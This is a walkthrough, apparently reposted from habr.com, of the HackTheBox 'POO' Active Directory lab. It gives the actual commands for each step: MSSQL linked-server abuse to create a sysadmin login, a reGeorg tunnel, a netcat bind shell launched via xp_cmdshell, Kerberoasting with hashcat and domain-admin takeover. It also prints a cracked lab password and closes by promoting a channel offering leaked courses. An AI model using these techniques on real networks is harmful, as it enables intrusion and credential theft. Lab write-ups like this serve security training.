HackTheBox endgame. Праходжанне лабараторыі Professional Offensive Operations. Пентэст Active Directory

HackTheBox endgame. Праходжанне лабараторыі Professional Offensive Operations. Пентэст Active Directory

У дадзеным артыкуле разбяром праходжанне не проста машыны, а цэлай міні-лабараторыі з пляцоўкі. HackTheBox.

Як сказана ў апісанні, POO прызначаны для праверкі навыкаў на ўсіх стадыях нападаў у невялікім асяроддзі Active Directory. Мэта складаецца ў тым, каб скампраметаваць даступны хост, падвысіць прывілеі і, у канчатковым выніку, скампраметаваць увесь дамен, сабраўшы пры гэтым 5 сцягоў.

Падключэнне да лабараторыі ажыццяўляецца праз VPN. Рэкамендуецца не падлучацца з працоўнага кампутара ці з хаста, дзе маюцца важныя для вас дадзеныя, бо Вы пападаеце ў прыватную сетку з людзьмі, якія нешта ды ўмеюць у вобласці ИБ 🙂

Арганізацыйная інфармацыя
Каб вы маглі даведвацца аб новых артыкулах, праграмным забеспячэнні і іншай інфармацыі, я стварыў канал у Telegram и групу для абмеркавання любых пытанняў у галіне ІІКБ. Таксама вашыя асабістыя просьбы, пытанні, прапановы і рэкамендацыі разгледжу асабіста і адкажу ўсім.

Уся інфармацыя прадстаўлена выключна ў адукацыйных мэтах. Аўтар гэтага дакумента не нясе ніякай адказнасці за любую шкоду, прычыненую каму-небудзь у выніку выкарыстання ведаў і метадаў, атрыманых у выніку вывучэння дадзенага дакумента.

Увядзенне

Дадзены endgame складаецца з дзвюх машын, і змяшчае 5 сцягоў.

HackTheBox endgame. Праходжанне лабараторыі Professional Offensive Operations. Пентэст Active Directory

Гэтак жа даецца апісанне і адрас даступнага хаста.

HackTheBox endgame. Праходжанне лабараторыі Professional Offensive Operations. Пентэст Active Directory

Пачнём!

Recon flag

Дадзеная машына мае IP адрас 10.13.38.11, які я дадаю ў /etc/hosts.
10.13.38.11 poo.htb

Перш за ўсё скануем адкрытыя парты. Бо сканаваць усе парты nmap'ом доўга, то я спачатку зраблю гэта з дапамогай masscan. Мы скануем усе TCP і UDP парты з інтэрфейсу tun0 з хуткасцю 500 пакетаў у секунду.

sudo masscan -e tun0 -p1-65535,U:1-65535 10.13.38.11 --rate=500

HackTheBox endgame. Праходжанне лабараторыі Professional Offensive Operations. Пентэст Active Directory

Зараз для атрымання больш падрабязнай інфармацыі аб сэрвісах, якія працуюць на партах, запусцім сканіраванне з опцыяй -А.

nmap -A poo.htb -p80,1433

HackTheBox endgame. Праходжанне лабараторыі Professional Offensive Operations. Пентэст Active Directory

Такім чынам, у нас ёсць службы IIS і MSSQL. Пры гэтым мы даведаемся рэальнае DNS імя дамена і кампутара. На вэб сэрвэры нас сустракае хатняя старонка IIS.

HackTheBox endgame. Праходжанне лабараторыі Professional Offensive Operations. Пентэст Active Directory

Давайце перабярэм дырэкторыі. Я для гэтага выкарыстоўваю gobuster. У параметрах паказваем колькасць патокаў 128 (-t), URL (-u), слоўнік (-w) і пашырэнні, якія нас цікавяць (-x).

gobuster dir -t 128 -u poo.htb -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,aspx,html

HackTheBox endgame. Праходжанне лабараторыі Professional Offensive Operations. Пентэст Active Directory

Такім чынам мы маем HTTP аўтэнтыфікацыю для дырэкторыі /admin, а таксама даступны файл сховішчы службы працоўнага стала .DS_Store. .DS_Store - гэта файлы, у якіх захоўваюцца карыстацкія налады для тэчкі, такія як спіс файлаў, размяшчэнне значкоў, абраны фонавы малюнак. Такі файл можа трапляць у дырэкторыю вэб-сервера ў вэб распрацоўшчыкаў. Такім чынам, мы атрымаць інфармацыю аб змесціве каталог. Для гэтага можна выкарыстоўваць DS_Store crawler.

python3 dsstore_crawler.py -i http://poo.htb/

HackTheBox endgame. Праходжанне лабараторыі Professional Offensive Operations. Пентэст Active Directory

Мы атрымліваем змесціва каталога. Самае цікавае тут - гэта каталог /dev, з якога мы ў двух галінках можам паглядзець зыходнікі і файлы db. Але мы можам першыя 6 сімвалаў імя файлаў і дырэкторый, калі сэрвіс уразлівы да IIS ShortName. Праверыць наяўнасць дадзенай уразлівасці можна з дапамогай IIS shortname Scanner.

HackTheBox endgame. Праходжанне лабараторыі Professional Offensive Operations. Пентэст Active Directory

І на ходзім адзін тэкставы файл, які пачынаецца з "poo_co". Не ведаючы што рабіць далей, я проста абраў са слоўніка дырэкторый усе словы, якія пачынаюцца на «co».

cat /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt | grep -i "^co" > co_words.txt

І перабяром з дапамогай wfuzz.

wfuzz -w ./co_words.txt -u "http://poo.htb/dev/dca66d38fd916317687e1390a420c3fc/db/poo_FUZZ.txt" --hc 404

HackTheBox endgame. Праходжанне лабараторыі Professional Offensive Operations. Пентэст Active Directory

І знаходзім прыдатнае слова! Глядзім дадзены файл, захоўваем уліковыя дадзеныя (мяркуючы па параметры DBNAME, яны ад MSSQL).

HackTheBox endgame. Праходжанне лабараторыі Professional Offensive Operations. Пентэст Active Directory

Здаем сцяг, і мы рухаемся наперад на 20%.

HackTheBox endgame. Праходжанне лабараторыі Professional Offensive Operations. Пентэст Active Directory

Huh flag

Падлучаемся да MSSQL, я выкарыстоўваю DBeaver.

HackTheBox endgame. Праходжанне лабараторыі Professional Offensive Operations. Пентэст Active Directory

Нічога цікавага ў дадзенай базе не знаходзім, давайце створым Рэдактар ​​SQL і праверым, якія ёсць карыстачы.

SELECT name FROM master..syslogins;

HackTheBox endgame. Праходжанне лабараторыі Professional Offensive Operations. Пентэст Active Directory

У нас два карыстачы. Давайце праверым свае прывілеі.

SELECT is_srvrolemember('sysadmin'), is_srvrolemember('dbcreator'), is_srvrolemember('bulkadmin'), is_srvrolemember('diskadmin'), is_srvrolemember('processadmin'), is_srvrolemember('serveradmin'), is_srvrolemember('setupadmin'), is_srvrolemember('securityadmin');

HackTheBox endgame. Праходжанне лабараторыі Professional Offensive Operations. Пентэст Active Directory

Такім чынам, прывілеяў ніякіх няма. Давайце паглядзім звязаныя серверы, пра дадзеную методыку я падрабязна пісаў тут.

SELECT * FROM master..sysservers;

HackTheBox endgame. Праходжанне лабараторыі Professional Offensive Operations. Пентэст Active Directory

Такім чынам, мы знаходзім яшчэ адзін SQL Server. Давайце праверым выкананне каманд на гэтым серверы з дапамогай openquery().

SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'select @@version as version');

HackTheBox endgame. Праходжанне лабараторыі Professional Offensive Operations. Пентэст Active Directory

І мы нават можам выбудоўваць дрэва запытаў.

SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT version FROM openquery("COMPATIBILITYPOO_PUBLIC", ''select @@version as version'');');

Справа ў тым, што калі мы выконваем запыт на злучаны сервер, то запыт выконваецца ў кантэксце іншага карыстача! Давайце паглядзім, у кантэксце якога карыстальніка мы працуем на злучаным серверы.

SELECT name FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT user_name() as name');

HackTheBox endgame. Праходжанне лабараторыі Professional Offensive Operations. Пентэст Active Directory

А зараз паглядзім у якім кантэксце выконваюцца запыт са звязанага сервера на наш!

SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT name FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT user_name() as name'');');

HackTheBox endgame. Праходжанне лабараторыі Professional Offensive Operations. Пентэст Active Directory

Такім чынам, гэта кантэкст DBO, які павінен валодаць усімі прывілеямі. Давайце праверым прывілеі ў выпадку запыту са звязанага сервера.

SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT * FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT is_srvrolemember(''''sysadmin''''), is_srvrolemember(''''dbcreator''''), is_srvrolemember(''''bulkadmin''''), is_srvrolemember(''''diskadmin''''), is_srvrolemember(''''processadmin''''), is_srvrolemember(''''serveradmin''''), is_srvrolemember(''''setupadmin''''), is_srvrolemember(''''securityadmin'''')'')');

HackTheBox endgame. Праходжанне лабараторыі Professional Offensive Operations. Пентэст Active Directory

Як можна заўважыць, у нас ёсць усе прывілеі! Давайце так створым свайго адміна. Але праз openquery не пускаюць, давайце зробім гэта праз EXECUTE AT.

EXECUTE('EXECUTE(''CREATE LOGIN [ralf] WITH PASSWORD=N''''ralfralf'''', DEFAULT_DATABASE=[master], CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''CREATE USER [ralf] FOR LOGIN [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER SERVER ROLE [sysadmin] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER ROLE [db_owner] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";

І зараз падлучаемся з уліковымі дадзенымі новага карыстача, назіраем новую базу дадзеных flag.

HackTheBox endgame. Праходжанне лабараторыі Professional Offensive Operations. Пентэст Active Directory

Здаем гэты сцяг і ідзем далей.

HackTheBox endgame. Праходжанне лабараторыі Professional Offensive Operations. Пентэст Active Directory

BackTrack flag

Атрымаем шелл з дапамогай MSSQL, я выкарыстоўваю mssqlclient з пакета impacket.

mssqlclient.py ralf:[email protected] -db POO_PUBLIC

HackTheBox endgame. Праходжанне лабараторыі Professional Offensive Operations. Пентэст Active Directory

Нам трэба здабыць паролі, і першае, што мы ўжо сустракалі, - гэта сайт. Такім чынам нам патрэбен канфіг вэб сервера (кінуць зручны шелл не атрымліваецца, мабыць працуе firewall).

HackTheBox endgame. Праходжанне лабараторыі Professional Offensive Operations. Пентэст Active Directory

Але доступ забаронены. Хоць мы можам прачытаць файл з MSSQL, трэба толькі ведаць якія мовы праграмавання настроены. І ў дырэкторыі MSSQL даведаемся, што ёсць Python.

HackTheBox endgame. Праходжанне лабараторыі Professional Offensive Operations. Пентэст Active Directory

Тады прачытаць файл web.config няма ніякіх праблем.

EXEC sp_execute_external_script
@language = N'Python',
@script = "print(open('C:inetpubwwwrootweb.config').read())"

HackTheBox endgame. Праходжанне лабараторыі Professional Offensive Operations. Пентэст Active Directory

З знойдзенымі ўліковымі дадзенымі зойдзем на /admin і забіраем сцяг.

HackTheBox endgame. Праходжанне лабараторыі Professional Offensive Operations. Пентэст Active Directory

HackTheBox endgame. Праходжанне лабараторыі Professional Offensive Operations. Пентэст Active Directory

Foothold flag

Насамрэч ад выкарыстання фаервола ёсць некаторыя нязручнасці, але праглядаючы налады сеткі, заўважаем, што таксама выкарыстоўваецца пракол IPv6!

HackTheBox endgame. Праходжанне лабараторыі Professional Offensive Operations. Пентэст Active Directory

Дадамо гэты адрас у /etc/hosts.
dead:babe::1001 poo6.htb
Давайце зноў прасканіруем хост, але ўжо па пратаколе IPv6.

HackTheBox endgame. Праходжанне лабараторыі Professional Offensive Operations. Пентэст Active Directory

І па IPv6 даступная служба WinRM. Падлучымся з знойдзенымі ўліковымі дадзенымі.

HackTheBox endgame. Праходжанне лабараторыі Professional Offensive Operations. Пентэст Active Directory

На працоўным стале ёсць сцяг, здаем яго.

HackTheBox endgame. Праходжанне лабараторыі Professional Offensive Operations. Пентэст Active Directory

P00ned flag

Правёўшы разведку на хасце з дапамогай winpeas нічога асаблівага не знаходзім. Тады было прынятае рашэнне зноў шукаць уліковыя дадзеныя (на гэтую тэму я таксама пісаў артыкул). Але атрымаць усе SPN з сістэмы праз WinRM у мяне не выйшла.

setspn.exe -T intranet.poo -Q */*

HackTheBox endgame. Праходжанне лабараторыі Professional Offensive Operations. Пентэст Active Directory

Давайце выканаем каманду праз MSSQL.

HackTheBox endgame. Праходжанне лабараторыі Professional Offensive Operations. Пентэст Active Directory

Паказаным спосабам мы атрымліваем SPN карыстачоў p00_hr і p00_adm, а гэта азначае, што яны ўразлівы да такой атацы, як Kerberoasting. Калі сцісла, то мы можам атрымаць хешы іх пароляў.

Для пачатку трэба атрымаць стабільны шелл ад імя карыстальніка MSSQL. Але бо нас абмяжоўваюць у доступе, то мы маем сувязь з хастом толькі праз 80 і 1433 порт. Але ёсць магчымасць тунэлявання трафіку праз 80 порт! Для гэтага скарыстаемся наступным дадаткам. Загрузім файл tunnel.aspx у хатнюю дырэкторыю вэб сервера - C: inetpubwwwroot.

HackTheBox endgame. Праходжанне лабараторыі Professional Offensive Operations. Пентэст Active Directory

Але пры спробе звярнуцца да яго атрымліваем памылку 404. Гэта азначае, што файлы *.aspx не выконваюцца. Каб файлы з дадзеным пашырэнням сталі выконвацца, усталюем ASP.NET 4.5 наступным чынам.

dism /online /enable-feature /all /featurename:IIS-ASPNET45

HackTheBox endgame. Праходжанне лабараторыі Professional Offensive Operations. Пентэст Active Directory

HackTheBox endgame. Праходжанне лабараторыі Professional Offensive Operations. Пентэст Active Directory

І зараз пры звароце да tunnel.aspx атрымліваем адказ, што ўсё гатова да працы.

HackTheBox endgame. Праходжанне лабараторыі Professional Offensive Operations. Пентэст Active Directory

Давайце запусцім кліенцкую частку прыкладання, якая будзе займацца рэтрансляваннем трафіку. Мы будзем перанакіроўваць увесь трафік з 5432 порта на сервер.

python ./reGeorgSocksProxy.py -p 5432 -u http://poo.htb/tunnel.aspx

HackTheBox endgame. Праходжанне лабараторыі Professional Offensive Operations. Пентэст Active Directory

І выкарыстоўваем proxychains, каб слаць трафік любога прыкладання праз наш проксі. Дадамо гэты проксі ў файл канфігурацыі /etc/proxychains.conf.

HackTheBox endgame. Праходжанне лабараторыі Professional Offensive Operations. Пентэст Active Directory

Цяпер загрузім на сервер праграму Netcat, з дапамогай якой зробім стабільны bind шелл, і скрыпт Invoke-Kerberoast, з дапамогай якога выканальны напад Kerberoasting.

HackTheBox endgame. Праходжанне лабараторыі Professional Offensive Operations. Пентэст Active Directory

Зараз праз MSSQL запускаем листенер.

xp_cmdshell C:tempnc64.exe -e powershell.exe -lvp 4321

HackTheBox endgame. Праходжанне лабараторыі Professional Offensive Operations. Пентэст Active Directory

І падключаемся праз наш проксі.

proxychains rlwrap nc poo.htb 4321

HackTheBox endgame. Праходжанне лабараторыі Professional Offensive Operations. Пентэст Active Directory

І давайце атрымаем хешы.

. .Invoke-Kerberoast.ps1
Invoke-Kerberoast -erroraction silentlycontinue -OutputFormat Hashcat | Select-Object Hash | Out-File -filepath 'C:tempkerb_hashes.txt' -Width 8000
type kerb_hashes.txt

HackTheBox endgame. Праходжанне лабараторыі Professional Offensive Operations. Пентэст Active Directory

Далей трэба перабраць гэтыя хешы. Так як у rockyou слоўніку дадзеных пароляў не было, то я выкарыстоўваў УСЕ слоўнікі passwords, прадстаўленыя ў Seclists. Для перабору выкарыстоўваем hashcat.

hashcat -a 0 -m 13100 krb_hashes.txt /usr/share/seclists/Passwords/*.txt --force

І знаходзім абодва пароля, першы ў слоўніку dutch_passwordlist.txt, а другі ў Keyboard-Combinations.txt.

HackTheBox endgame. Праходжанне лабараторыі Professional Offensive Operations. Пентэст Active Directory

HackTheBox endgame. Праходжанне лабараторыі Professional Offensive Operations. Пентэст Active Directory

І так у нас ёсць тры карыстальніка, ідзем на кантролер дамена. Спачатку даведаемся яго адрас.

HackTheBox endgame. Праходжанне лабараторыі Professional Offensive Operations. Пентэст Active Directory

Выдатна, мы даведаліся IP адрас кантролера дамена. Давайце даведаемся ўсіх карыстальнікаў дамена, а таксама хто з іх з'яўляецца адміністратарам. Для загрузім скрыпт для атрымання інфармацыі PowerView.ps1. Потым падлучымся з дапамогай evil-winrm, паказаўшы ў параметры -s дырэкторыю са скрыптам. А потым проста загрузім скрыпт PowerView.

HackTheBox endgame. Праходжанне лабараторыі Professional Offensive Operations. Пентэст Active Directory

Цяпер нам даступныя ўсе яго функцыі. Карыстальнік p00_adm падобны да прывілеяванага, таму будзем працаваць у яго кантэксце. Створым аб'ект PSCredential для гэтага карыстальніка.

$User = 'p00_adm'
$Password = 'ZQ!5t4r'
$Cpass = ConvertTo-SecureString -AsPlainText $Password -force
$Creds = New-Object System.Management.Automation.PSCredential -ArgumentList $User,$Cpass

Цяпер усе каманды Powershell, дзе мы пакажам Creds, будуць выкананы ад імя p00_adm. Давайце вывядзем спіс карыстальнікаў і атрыбут AdminCount.

Get-NetUser -DomainController dc -Credential $Creds | select name,admincount

HackTheBox endgame. Праходжанне лабараторыі Professional Offensive Operations. Пентэст Active Directory

І так, наш карыстач рэальна з'яўляецца прывілеяваным. Давайце зірнем, у якіх групах ён складаецца.

Get-NetGroup -UserName "p00_adm" -DomainController dc -Credential $Creds

HackTheBox endgame. Праходжанне лабараторыі Professional Offensive Operations. Пентэст Active Directory

Канчаткова сцвярджаемся, што карыстач з'яўляецца адміністратарам дамена. Гэта дае яму права выдаленага ўваходу на кантролер дамена. Давайце паспрабуем увайсці праз WinRM, выкарыстоўваючы наш тунэль. Мяне збянтэжылі памылкі, якія выдаюцца reGeorg'ам пры выкарыстанні evil-winrm.

HackTheBox endgame. Праходжанне лабараторыі Professional Offensive Operations. Пентэст Active Directory

Тады скарыстаемся іншым, лягчэйшым, скрыптам для падлучэння да WinRM. Адкрыем і памяняем параметры для падлучэння.

HackTheBox endgame. Праходжанне лабараторыі Professional Offensive Operations. Пентэст Active Directory

Спрабуем падключыцца, і мы ў сістэме.

HackTheBox endgame. Праходжанне лабараторыі Professional Offensive Operations. Пентэст Active Directory

Але сьцяга няма. Тады паглядзі карыстачу і праверым працоўныя сталы.

HackTheBox endgame. Праходжанне лабараторыі Professional Offensive Operations. Пентэст Active Directory

У mr3ks знаходзім сцяг і лабараторыя пройдзена на 100%.

HackTheBox endgame. Праходжанне лабараторыі Professional Offensive Operations. Пентэст Active Directory

Вось і ўсё. У якасці зваротнай сувязі, пракаментуйце - ці даведаліся Вы нешта новае з дадзенага артыкула і ці была яна Вам карысная.

Вы можаце далучыцца да нас у Тэлеграма. Там можна будзе знайсці цікавыя матэрыялы, злітыя курсы, а таксама ПЗ. Давайце збяром супольнасць, у якім будуць людзі, якія разбіраюцца ў шматлікіх сферах ІТ, тады мы заўсёды зможам дапамагчы адзін аднаму па любых пытаннях ІТ і ИБ.

Крыніца: habr.com

Дадаць каментар